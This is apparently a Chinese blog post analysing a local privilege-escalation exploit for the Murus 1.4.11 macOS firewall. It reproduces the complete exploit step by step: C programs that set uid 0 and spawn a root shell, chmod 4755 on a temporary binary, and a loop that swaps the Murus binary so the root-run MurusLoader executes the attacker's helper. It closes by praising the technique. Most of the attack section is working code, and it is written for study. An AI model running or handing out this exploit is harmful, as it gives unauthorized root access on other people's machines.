zoukankan      html  css  js  c++  java
  • Murus 1.4.11

    没有mac的苦逼就直接分析代码了

    首先Murus是mac的防火墙,这个东西只要可以以admin权限运行就可以提权了

    step1

    首先我们看到编译一个c程序

    cat > /tmp/murus411_exp.c <<EOF
    #include <unistd.h>
    int main()
    {
      setuid(0);
      seteuid(0);
      execl("/bin/bash","bash","-c","rm -f /tmp/murus411_exp; /bin/bash",NULL);
      return 0;
    }
    EOF
    
    gcc -o /tmp/murus411_exp /tmp/murus411_exp.c
    
    if [ ! $? -eq 0 ] ; then
      rm -f /tmp/murus411_exp.c
        echo "failed to compile, dev tools may not be installed"
      exit 1
    fi
    
    rm -f /tmp/murus411_exp.c

    看到这里我们就知道这应该是不正当权限运行程序导致的,先设置当前程序的uid和euid,之后执行/bin/bash

    而$? 可以获取上一个命令的退出状态。所谓退出状态,就是上一个命令执行后的返回结果。

    成功应该返回0,如果返回不是0说明编译有问题了

    step2

    之后又编译第二个程序

    cat > /tmp/murus411_exp2.c <<EOF
    #include <unistd.h>
    #include <stdlib.h>
    int main()
    {
      setuid(0);
      seteuid(0);
      system("chown root:wheel /tmp/murus411_exp");
      system("chmod 4755 /tmp/murus411_exp");
      system("mv /Applications/Murus.app/Contents/MacOS/Murus.orig /Applications/
    Murus.app/Contents/MacOS/Murus");
      execl("/Applications/Murus.app/Contents/MacOS/Murus","Murus",NULL);
      return 0;
    }
    EOF
    
    gcc -o /tmp/murus411_exp2 /tmp/murus411_exp2.c
    rm -f /tmp/murus411_exp2.c

    这个就将第一个程序拥有者设置为0,并设置suid位,最后mv Murus.orig并执行

    step3

    查找进程MurusLoader,看看起来了没

    while :
    do
      ps auxwww |grep '/Applications/Murus.app/Contents/MacOS/MurusLoader' 
        |grep -v grep 1>/dev/null
      if [ $? -eq 0 ] ; then
        break
      fi
    done

    step4

    mv /Applications/Murus.app/Contents/MacOS/Murus /Applications/Murus.app/
    Contents/MacOS/Murus.orig
    mv /tmp/murus411_exp2 /Applications/Murus.app/Contents/MacOS/Murus

    最后将原来的Murus替换为我们的exp2

    那么问题就是MurusLoader以root权限执行/Applications/Murus.app/Contents/MacOS/Murus这个程序导致的问题了,这就是关键所在

    step5

    最后再检查下我们的文件的拥有者是不是root,之后就获得了root权限了

    while :
    do
      r=`ls -la /tmp/murus411_exp |grep root`
      if [ "$r" != "" ] ; then
        break
      fi
      sleep 0.1
    done
    
    echo "kapow"
    
    /tmp/murus411_exp

    小结

    其实很多时候不应要利用内核漏洞去提权,这种以不当的权限启动程序的是一个很好的方法,之前分析nsa的工具的时候,很多都是利用这一点,简单方便,何乐而不为呢

    有空总结一下提权的各种套路,大家可以提醒一下我

    reference

    https://www.exploit-db.com/exploits/43217/

  • 相关阅读:
    Android开发新手学习总结(六)——android开发目录结构【图文版】
    Android开发新手学习总结(一)——使用Android Studio搭建Android集成开发环境
    62个Android Studio小技巧合集
    Android Studio 入门指南
    Unity操作
    Unity的安装和破解
    pb数据窗口设置操作
    Roll A Ball
    c实现旋转数列
    用循环添加多行、多列视图
  • 原文地址:https://www.cnblogs.com/cnsec/p/13286495.html
Copyright © 2011-2022 走看看